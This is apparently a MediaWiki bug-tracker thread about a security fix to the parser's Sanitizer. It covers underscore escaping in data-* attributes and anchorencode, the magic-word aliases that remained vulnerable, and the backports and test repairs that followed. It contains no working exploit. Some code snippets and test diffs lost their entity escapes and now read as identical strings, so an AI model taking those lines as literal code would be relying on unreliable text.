This is probably also caused by the security patch: https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#anchor_encoding_changed?

In T407131#11303367, @matmarex wrote:

This is probably also caused by the security patch: https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#anchor_encoding_changed?

That is caused by {{anchorencode}} using Sanitizer::safeEncodeAttribute, which is not great...
According to https://gerrit.wikimedia.org/r/c/mediawiki/core/+/391141 this is done so it always is usable inside link markup.

I suppose we could unescape _ in {{anchorencode}} after passing the string to Sanitizer::safeEncodeAttribute, but that's not an optimal solution if the anchor intentionally contains this string.
We could also escape a reduced set of characters in {{anchorencode}}, since I assume some of the ones encoded by Sanitizer::safeEncodeAttribute are not necessary here. For example, ISBN, RFC or PMID have likely already been broken in anchors before this security patch.

In T407131#11303465, @SomeRandomDeveloper wrote:

I suppose we could unescape _ in {{anchorencode}} after passing the string to Sanitizer::safeEncodeAttribute, but that's not an optimal solution if the anchor intentionally contains this string.
We could also escape a reduced set of characters in {{anchorencode}}, since I assume some of the ones encoded by Sanitizer::safeEncodeAttribute are not necessary here. For example, ISBN, RFC or PMID have likely already been broken in anchors before this security patch.

Well, we might have to try something, as folks are complaining a bit more now.

In T407131#11307406, @sbassett wrote:

In T407131#11303465, @SomeRandomDeveloper wrote:

I suppose we could unescape _ in {{anchorencode}} after passing the string to Sanitizer::safeEncodeAttribute, but that's not an optimal solution if the anchor intentionally contains this string.
We could also escape a reduced set of characters in {{anchorencode}}, since I assume some of the ones encoded by Sanitizer::safeEncodeAttribute are not necessary here. For example, ISBN, RFC or PMID have likely already been broken in anchors before this security patch.

Well, we might have try something, as folks are complaining a bit more now.

This implements the first solution, which is a bit hacky, but the only functional disadvantage is that it might break anchors that intentionally contain _:

I could also implement the second solution, but that would require copying most of the code from safeEncodeAttribute, which is not great either...

In T407131#11279356, @SomeRandomDeveloper wrote:

Otherwise, ___ (three underscores) will be converted to ___, which means there are still two double underscores.

If that's the only concern that prompted escaping all underscores, you could turn __ into __, so your case with three would become ___ resulting in no double underscore remaining. Similar to the escaping of '' to ''.

In T407131#11307468, @SomeRandomDeveloper wrote:

This implements the first solution, which is a bit hacky, but the only functional disadvantage is that it might break anchors that intentionally contain _:

If the input contained _, wouldn't that already have been escaped to _ though?

In T407131#11308128, @Anomie wrote:

In T407131#11279356, @SomeRandomDeveloper wrote:

Otherwise, ___ (three underscores) will be converted to ___, which means there are still two double underscores.

If that's the only concern that prompted escaping all underscores, you could turn __ into __, so your case with three would become ___ resulting in no double underscore remaining. Similar to the escaping of '' to ''.

That's a good point, thank you. Since the original patch escaped single Japanese underscores too, I updated it to do the same for single underscores so it is consistent. Escaping only double normal and Japanese underscores does make more sense though.
Updated patch which doesn't escape single underscores anymore and instead escapes both instances if there are two underscores:

In T407131#11307468, @SomeRandomDeveloper wrote:

This implements the first solution, which is a bit hacky, but the only functional disadvantage is that it might break anchors that intentionally contain _:

If the input contained _, wouldn't that already have been escaped to _ though?

This is a parser function returning a string, so both the input and the output are wikitext. Nothing has been escaped yet.

I've been using T407289 as the public face of (one aspect of) this bug. i18n: deprecate double-underscore magic words which don't start/end with __ (1196182) is an important part of closing the behavior switch loophole, since as mentioned in T407131#11278630 INDEKSITA and INDEKSIGA on et, SKRIVENAKAT on sh-latn, and INDEKSIGA on vep will still be vulnerable.

There are a lot more vulnerabilities if single underscores are allowed, so I'm not in favor of deploying SomeRandomDeveloper's patch in T407131#11308301. You can see the full list of vulnerable magic words at i18n: Remove deprecated aliases for double-underscore magic words (1198600).

This issue also doesn't occur on any wiki which has Parsoid read views enabled, which is over 350 of them right now. enwiki isn't scheduled to be switch to Parsoid until ~March 2026 though.

I think unescaping _ in {{anchorencode}} is a better solution, as in T407131#11307468. You could do something like this to ensure that deliberate uses of _ were unaffected:

$input = str_replace('_', '_', $input);
$input = ....escape....;
$input = str_replace('_', '_', $Input);

If you wanted that to be a bit more elegant you could use a NUL character instead of the 0, since we are guaranteed that NUL doesn't occur in a wikitext string (this is the same trick used by strip markers).

In T407131#11308469, @cscott wrote:

There are a lot more vulnerabilities if single underscores are allowed, so I'm not in favor of deploying SomeRandomDeveloper's patch in T407131#11308301. You can see the full list of vulnerable magic words at i18n: Remove deprecated aliases for double-underscore magic words (1198600).

Oh, right. To be honest, I had forgotten about this because I assumed the patch could easily be merged so it wouldn't be exploitable anymore. But considering it's a breaking change on wikis currently using those magic words, this assumption was probably wrong. Contrary to what I stated in my previous comment, we should definitely keep encoding single underscores, especially since the mitigation is publicly known now, which doesn't make it too hard to guess how the vulnerability works.

I think unescaping _ in {{anchorencode}} is a better solution, as in T407131#11307468. You could do something like this to ensure that deliberate uses of _ were unaffected:

$input = str_replace('_', '_', $input);
$input = ....escape....;
$input = str_replace('_', '_', $Input);

If you wanted that to be a bit more elegant you could use a NUL character instead of the 0, since we are guaranteed that NUL doesn't occur in a wikitext string (this is the same trick used by strip markers).

I personally think the best solution would be to use a separate set of characters to escape. As I mentioned in T407131#11303465, the parser function probably escapes more characters and strings than actually necessary. For example, it should not be necessary to escape ISBN here, since it wouldn't break out of the link syntax, which as far as I can tell was the main reason the parser function uses safeEncodeAttribute (T179544). If we reduced the set of characters to the minimum necessary, it probably wouldn't require duplicating too much code.
Hacks, like using NUL characters to avoid unintentionally decoding entities, introduce complicated logic to solve a problem that wouldn't even exist in the first place if safeEncodeAttribute wasn't used here.

In T407131#11308301, @SomeRandomDeveloper wrote:

This is a parser function returning a string, so both the input and the output are wikitext. Nothing has been escaped yet.

includes/parser/Sanitizer.php#836 happens before includes/parser/Sanitizer.php#840.

In T407131#11308564, @SomeRandomDeveloper wrote:

I think unescaping _ in {{anchorencode}} is a better solution, as in T407131#11307468. You could do something like this to ensure that deliberate uses of _ were unaffected:

$input = str_replace('_', '_', $input);
$input = ....escape....;
$input = str_replace('_', '_', $Input);

If you wanted that to be a bit more elegant you could use a NUL character instead of the 0, since we are guaranteed that NUL doesn't occur in a wikitext string (this is the same trick used by strip markers).

I personally think the best solution would be to use a separate set of characters to escape. As I mentioned in T407131#11303465, the parser function probably escapes more characters and strings than actually necessary. For example, it should not be necessary to escape ISBN here, since it wouldn't break out of the link syntax, which as far as I can tell was the main reason the parser function uses safeEncodeAttribute (T179544). If we reduced the set of characters to the minimum necessary, it probably wouldn't require duplicating too much code.
Hacks, like using NUL characters to avoid unintentionally decoding entities, introduce complicated logic to solve a problem that wouldn't even exist in the first place if safeEncodeAttribute wasn't used here.

Ok, but could we get the patch from T407131#11307468 or @cscott's str_replace suggestion deployed in Wikimedia production in the interim to unbreak things for various templates? A longer-term solution could be worked upon before we release the bug in December.

The patch from T407131#11307468 should replace the existing patch in production -- it includes the original patch so it should replace it, not be deployed in addition to it.

@SomeRandomDeveloper The existing implementation of {{#anchorencode}} would escape the ampersand in any pre-existing _ to _ so there's no worry about the final str_replace( '_', '_', $encodedSection ); matching more than expected: the only way a _ could appear in the output of ::safeEncodeAttribute is from an underscore in the original input. So no additional tweaks to that patch are needed.

Concurrently I'm working on removing the existing magic word aliases which don't contain underscores under the auspices of T407289. Watch i18n: Remove deprecated behavior switches without underscores in et/sh-latn/vep (1200091) for that. I expect that will go out on the next train and/or be backported as soon as I fix up some content on the affected wikis.

In T407131#11327963, @cscott wrote:

The patch from T407131#11307468 should replace the existing patch in production -- it includes the original patch so it should replace it, not be deployed in addition to it.
...

Ok great, I'm going to plan to deploy the updated patch (and remove the existing patch) sometime later today, likely after the late backport window/web team deployment window.

I've deployed the updated patch from T407131#11307468 to 1.45.0-wmf.25 within Wikimedia production. Essentially just a git reset --hard HEAD~3, then a git am for the top 3 patches, then scapping out 1.45.0-wmf.25/includes/parser/.

I backported i18n: Remove deprecated behavior switches without underscores in et/sh-latn/vep (1201070) just now (tagged with T407289) which fully closes this hole in production, since now all remaining magic words have at least one underscore in their localization.

I should also backport these to the supported releases (1.39/1.43/1.44/1.45) assuming the patch from T407131#11307468 will be included in the next security release for those branches.

I'll give it a few weeks and then deploy the stricter i18n: Remove deprecated aliases for double-underscore magic words (1198600) on master which ensures all magic words begin and end with double-underscore (not just "have at least one underscore") which includes a regression test case to ensure that aliases without underscores aren't re-added in the future. Once this security task is public I should mention this task number in that test case as way of warning to any future maintainer who might be tempted to loosen that check. This stricter patch doesn't need to be backported, though.

In T407131#11336182, @cscott wrote:

I backported i18n: Remove deprecated behavior switches without underscores in et/sh-latn/vep (1201070) just now (tagged with T407289) which fully closes this hole in production, since now all remaining magic words have at least one underscore in their localization.

Thanks!

I should also backport these to the supported releases (1.39/1.43/1.44/1.45) assuming the patch from T407131#11307468 will be included in the next security release for those branches.

That would be great. And, yes, the patch should be included within the next core security release. At least the final, updated version of the patch that's currently within Wikimedia production.

I'll give it a few weeks and then deploy the stricter i18n: Remove deprecated aliases for double-underscore magic words (1198600) on master which ensures all magic words begin and end with double-underscore (not just "have at least one underscore") which includes a regression test case to ensure that aliases without underscores aren't re-added in the future. Once this security task is public I should mention this task number in that test case as way of warning to any future maintainer who might be tempted to loosen that check. This stricter patch doesn't need to be backported, though.

Since this is a core patch, ideally we'd keep it protected until the core security release comes out later in December. But if there's a strong need to open up this task sooner, I'd guess that @Reedy would be fine with accommodating that.

I'm fine with leaving this protected in the usual way; that was just a note-to-self that I should write a documentation patch in December to more explicitly explain why behavior switches without underscores are Bad, Actually.

Updated production patch (due to path renaming work - https://gerrit.wikimedia.org/r/q/project:mediawiki/core+status:merged+message:%22psr-4%22):

Change #1217285 had a related patch set uploaded (by Reedy; author: C. Scott Ananian):

[mediawiki/core@REL1_39] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217285

Change #1217297 had a related patch set uploaded (by Reedy; author: C. Scott Ananian):

[mediawiki/core@REL1_43] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217297

Change #1217309 had a related patch set uploaded (by Reedy; author: C. Scott Ananian):

[mediawiki/core@REL1_44] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217309

Change #1217326 had a related patch set uploaded (by Reedy; author: C. Scott Ananian):

[mediawiki/core@REL1_45] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217326

Change #1217335 had a related patch set uploaded (by Reedy; author: C. Scott Ananian):

[mediawiki/core@master] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217335

Note this causes Cite test failures:

23:43:43 1) Cite\Tests\Integration\AnchorFormatterTest::testWikitextSafeLinks
23:43:43 Failed asserting that two strings are identical.
23:43:43 --- Expected
23:43:43 +++ Actual
23:43:43 @@ @@
23:43:43 -'cite_ref-1'
23:43:43 +'cite_ref-1'
23:43:43 
23:43:43 /workspace/src/extensions/Cite/tests/phpunit/integration/AnchorFormatterTest.php:24
23:43:43 
23:43:43 2) Cite\Tests\Integration\AnchorFormatterTest::testFragmentIdentifierNormalization with data set #0 ('a b', 'a_b')
23:43:43 Failed asserting that two strings are identical.
23:43:43 --- Expected
23:43:43 +++ Actual
23:43:43 @@ @@
23:43:43 -'a_b'
23:43:43 +'a_b'
23:43:43 
23:43:43 /workspace/src/extensions/Cite/tests/phpunit/integration/AnchorFormatterTest.php:43
23:43:43 
23:43:43 3) Cite\Tests\Integration\AnchorFormatterTest::testFragmentIdentifierNormalization with data set #1 ('a  __  b', 'a_b')
23:43:43 Failed asserting that two strings are identical.
23:43:43 --- Expected
23:43:43 +++ Actual
23:43:43 @@ @@
23:43:43 -'a_b'
23:43:43 +'a_b'
23:43:43 
23:43:43 /workspace/src/extensions/Cite/tests/phpunit/integration/AnchorFormatterTest.php:43
23:43:43 
23:43:43 4) Cite\Tests\Integration\AnchorFormatterTest::testFragmentIdentifierNormalization with data set #3 ('	\n', '_')
23:43:43 Failed asserting that two strings are identical.
23:43:43 --- Expected
23:43:43 +++ Actual
23:43:43 @@ @@
23:43:43 -'_'
23:43:43 +'_'
23:43:43 
23:43:43 /workspace/src/extensions/Cite/tests/phpunit/integration/AnchorFormatterTest.php:43
23:43:43 
23:43:43 5) Cite\Tests\Integration\AnchorFormatterTest::testFragmentIdentifierNormalization with data set #10 ('%c8%98tiri_2019', '%25c8%2598tiri_2019')
23:43:43 Failed asserting that two strings are identical.
23:43:43 --- Expected
23:43:43 +++ Actual
23:43:43 @@ @@
23:43:43 -'%25c8%2598tiri_2019'
23:43:43 +'%25c8%2598tiri_2019'
23:43:43 
23:43:43 /workspace/src/extensions/Cite/tests/phpunit/integration/AnchorFormatterTest.php:43
23:43:43 
23:43:43 6) Cite\Tests\Integration\AnchorFormatterTest::testFragmentIdentifierNormalization with data set #15 ('a_ %20a', 'a_%2520a')
23:43:43 Failed asserting that two strings are identical.
23:43:43 --- Expected
23:43:43 +++ Actual
23:43:43 @@ @@
23:43:43 -'a_%2520a'
23:43:43 +'a_%2520a'
23:43:43 
23:43:43 /workspace/src/extensions/Cite/tests/phpunit/integration/AnchorFormatterTest.php:43

Change #1217541 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/extensions/Cite@master] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217541

Change #1217544 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/extensions/Cite@master] AnchorFormatterTest: Update for T407131

https://gerrit.wikimedia.org/r/1217544

Change #1217549 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/extensions/Cite@REL1_45] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217549

Change #1217550 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/extensions/Cite@REL1_44] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217550

Change #1217551 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/extensions/Cite@REL1_43] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217551

Change #1217552 had a related patch set uploaded (by Reedy; author: Reedy):

[mediawiki/extensions/Cite@REL1_39] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217552

Change #1217549 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_45] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217549

Change #1217550 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_44] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217550

Change #1217551 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_43] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217551

Change #1217541 merged by jenkins-bot:

[mediawiki/extensions/Cite@master] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217541

Change #1217552 merged by Reedy:

[mediawiki/extensions/Cite@REL1_39] Temporarily disable AnchorFormatterTest tests

https://gerrit.wikimedia.org/r/1217552

Looking into updating the cite tests right now.

Change #1217583 had a related patch set uploaded (by SomeRandomDeveloper; author: SomeRandomDeveloper):

[mediawiki/extensions/Cite@master] Fix underscore encoding in parser tests

https://gerrit.wikimedia.org/r/1217583

Change #1217583 abandoned by SomeRandomDeveloper:

[mediawiki/extensions/Cite@master] Fix underscore encoding in parser tests

Reason:

squashed into 1217544 instead

https://gerrit.wikimedia.org/r/1217583

Change #1217794 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):

[mediawiki/extensions/Cite@master] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217794

Change #1217795 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):

[mediawiki/extensions/Cite@REL1_39] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217795

Change #1217796 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):

[mediawiki/extensions/Cite@REL1_43] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217796

Change #1217797 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):

[mediawiki/extensions/Cite@REL1_44] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217797

Change #1217798 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):

[mediawiki/extensions/Cite@REL1_45] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217798

To summarize this mess, we need to land, in order:

• https://gerrit.wikimedia.org/r/q/I380f7340f64b78dd5e8860c3848fda5a5bd68c6c Temporarily disable AnchorFormatterTest tests (all branches, already landed)
• https://gerrit.wikimedia.org/r/q/I5895954bca976f81a426f8648e24c9f2ee87fc10 Temporarily disable Cite parser tests (all branches)
• https://gerrit.wikimedia.org/r/q/I351edf35b965ac3cc9e50e47649efd88d238b2c2 SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names (all branches)
• https://gerrit.wikimedia.org/r/q/I678a6c35264bc9c0fefa1e362af6c036f5c66e78 Fix underscore encoding in tests and re-enable (only needs to land on master; preparing patches for other branches would require some manual work – there are very different tests in each branch)

In T407131#11455239, @matmarex wrote:

[...]

• https://gerrit.wikimedia.org/r/q/I678a6c35264bc9c0fefa1e362af6c036f5c66e78 Fix underscore encoding in tests and re-enable (only needs to land on master; preparing patches for other branches would require some manual work – there are very different tests in each branch)

I can rebase/adjust this patch for the release branches later today / in the next days, if nobody else plans to do this already

I don't think anybody else is working on it. Personally I'm not sure if it's worth the effort doing it for every branch.

There are also apparently some core parser tests failures on the security patch itself (which I guess we didn't notice because of the Cite failures).

I updated the core tests.

Change #1217797 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_44] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217797

Change #1217796 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_43] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217796

Change #1217794 merged by jenkins-bot:

[mediawiki/extensions/Cite@master] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217794

Change #1217798 merged by Umherirrender:

[mediawiki/extensions/Cite@REL1_45] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217798

Change #1217795 merged by Reedy:

[mediawiki/extensions/Cite@REL1_39] Temporarily disable Cite parser tests

https://gerrit.wikimedia.org/r/1217795

Change #1217335 merged by jenkins-bot:

[mediawiki/core@master] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217335

Change #1217285 merged by jenkins-bot:

[mediawiki/core@REL1_39] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217285

Change #1217326 merged by jenkins-bot:

[mediawiki/core@REL1_45] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217326

Change #1217297 merged by jenkins-bot:

[mediawiki/core@REL1_43] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217297

Change #1217309 merged by jenkins-bot:

[mediawiki/core@REL1_44] SECURITY: Sanitizer: disallow underscore and wide underscore in data-* attribute names

https://gerrit.wikimedia.org/r/1217309

Change #1217544 merged by jenkins-bot:

[mediawiki/extensions/Cite@master] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1217544

Change #1218369 had a related patch set uploaded (by SomeRandomDeveloper; author: SomeRandomDeveloper):

[mediawiki/extensions/Cite@REL1_45] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1218369

Change #1218370 had a related patch set uploaded (by SomeRandomDeveloper; author: SomeRandomDeveloper):

[mediawiki/extensions/Cite@REL1_44] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1218370

Change #1218371 had a related patch set uploaded (by SomeRandomDeveloper; author: SomeRandomDeveloper):

[mediawiki/extensions/Cite@REL1_43] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1218371

Change #1218369 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_45] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1218369

Change #1218373 had a related patch set uploaded (by SomeRandomDeveloper; author: SomeRandomDeveloper):

[mediawiki/extensions/Cite@REL1_39] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1218373

Change #1218370 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_44] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1218370

Change #1218371 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_43] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1218371

Change #1218373 merged by jenkins-bot:

[mediawiki/extensions/Cite@REL1_39] Fix underscore encoding in tests and re-enable

https://gerrit.wikimedia.org/r/1218373

Change #1228275 had a related patch set uploaded (by Umherirrender; author: Umherirrender):

[mediawiki/extensions/CommunityRequests@REL1_45] tests: Fix underscore encoding after security fix

https://gerrit.wikimedia.org/r/1228275

Change #1228275 merged by jenkins-bot:

[mediawiki/extensions/CommunityRequests@REL1_45] tests: Fix underscore encoding after security fix

https://gerrit.wikimedia.org/r/1228275